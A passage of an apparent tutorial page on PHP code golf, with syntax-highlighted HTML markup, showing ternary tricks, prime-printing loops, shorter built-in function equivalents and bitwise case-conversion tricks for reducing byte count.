&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-php&quot; data-lang=&quot;php&quot;&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$a&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$b&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$a&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;==&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$b&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;?&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$a&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;==&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;27&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;?&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$b&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;30&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;?:&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'This situation will never happen'&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;''&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;''&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Same code, but false-based:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-php&quot; data-lang=&quot;php&quot;&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$a&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$b&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$a&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$b&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;?:&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$a&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;27&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;?&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;''&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$b&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;30&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;?&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;''&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'This situation will never happen'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Compare the examples below that both print all primes below 1000.&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-php&quot; data-lang=&quot;php&quot;&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;?&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;for&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$a&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(),&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$b&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$b&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;=&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1000&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;){&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;foreach&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$a&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;as&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$c&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$b&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;%&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$c&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;==&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;continue&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[]&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$b&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;echo&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;mf&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$b&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-php&quot; data-lang=&quot;php&quot;&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;?&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;for&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$a&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(),&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$b&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$b&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;=&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1000&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;){&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;foreach&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$a&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;as&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$c&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;continue&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$b&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;%&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$c&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;?&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[]&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$b&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;echo&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;mf&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$b&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;The whole if-structure can here be replaced with a ternary operator. Also try to avoid the need of keywords like ‘break’ and ‘continue’, since they need a lot of bytes, while it even might be done using a variable, that perhaps even might be used for other purposes.&lt;/p&gt;

&lt;p&gt;Rewritten without &lt;em&gt;if&lt;/em&gt; and &lt;em&gt;continue&lt;/em&gt;, although this is far from the optimal solution:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-php&quot; data-lang=&quot;php&quot;&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;?&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;for&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$a&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(),&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$b&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$d&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=++&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$b&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;=&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1000&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;){&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;foreach&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$a&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;as&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$c&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$b&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;%&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$c&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;?:&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$d&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$d&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;){&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[]&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$b&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;echo&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;mf&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$b&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;}}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h2 id=&quot;functions&quot;&gt;Functions&lt;/h2&gt;

&lt;p&gt;You should (almost) never write your own functions. In most cases it is unnecessary and it costs a lot of bytes.
Some built-in functions in PHP should never be used. These are some examples with a better equivalent to the right.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;http://php.net/rtrim&quot;&gt;rtrim&lt;/a&gt; -&amp;gt; &lt;a href=&quot;http://php.net/chop&quot;&gt;chop&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://php.net/explode&quot;&gt;explode&lt;/a&gt; -&amp;gt; &lt;a href=&quot;http://php.net/split&quot;&gt;split&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://php.net/implode&quot;&gt;implode&lt;/a&gt; -&amp;gt; &lt;a href=&quot;http://php.net/join&quot;&gt;join&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://php.net/preg_split&quot;&gt;preg_split&lt;/a&gt; -&amp;gt; Could use split() instead in most cases&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://php.net/preg_replace&quot;&gt;preg_replace&lt;/a&gt; -&amp;gt; &lt;a href=&quot;http://php.net/preg_filter&quot;&gt;preg_filter&lt;/a&gt; is one byte shorter,and in most cases exactly the same.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://php.net/print&quot;&gt;print&lt;/a&gt; -&amp;gt; &lt;a href=&quot;http://php.net/echo&quot;&gt;echo&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;In some cases, print might be useful since it can be used as a function while echo can’t:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-php&quot; data-lang=&quot;php&quot;&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;for&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;11&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;){&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;str_repeat&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;' '&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;10&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;for&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$a&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$a&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;)&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;echo&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$a&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;?&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;' '&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-php&quot; data-lang=&quot;php&quot;&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;for&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;11&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;for&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;print&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;str_pad&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$a&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;11&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;' '&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$a&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;)&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;echo&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$a&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# echo instead of print would give an error&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;http://php.net/lcfirst&quot;&gt;lcfirst&lt;/a&gt; -&amp;gt; &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$a|' '&lt;/code&gt; or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$a|~ß&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://php.net/strtoupper&quot;&gt;strtoupper($a)&lt;/a&gt; -&amp;gt; if $a is only one char, you can use: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$a&amp;amp;ß&lt;/code&gt; or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$a&amp;amp;'ß'&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://php.net/ucfirst&quot;&gt;ucfirst&lt;/a&gt;: see strtoupper&lt;/li&gt;
  &lt;li&gt;echo &lt;a href=&quot;http://php.net/sprintf&quot;&gt;sprintf(…)&lt;/a&gt; -&amp;gt; &lt;a href=&quot;http://php.net/printf&quot;&gt;printf(…)&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://php.net/str_replace&quot;&gt;str_replace&lt;/a&gt; -&amp;gt; consider whether &lt;a href=&quot;http://php.net/strtr&quot;&gt;strtr&lt;/a&gt; can be used&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://php.net/array_unique&quot;&gt;array_unique&lt;/a&gt; -&amp;gt; Most times this function is useless. If something has to be unique, you can do it in many different ways dependent on context.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;All three examples below shows all unique letters in the string in capitals:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-php&quot; data-lang=&quot;php&quot;&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$b&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;array_unique&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;str_split&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;strtoupper&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'This is a string'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)));&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;sort&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$b&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$b&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;==&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;' '&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;unset&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$b&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]);&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;join&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$b&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-php&quot; data-lang=&quot;php&quot;&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;for&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$a&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'This is a string'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$b&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;sort&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$c&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;@&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;in_array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$b&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ß&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$c&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;?:&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$b&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;==&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;' '&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;?:&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$c&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[]&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$b&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;join&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$c&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

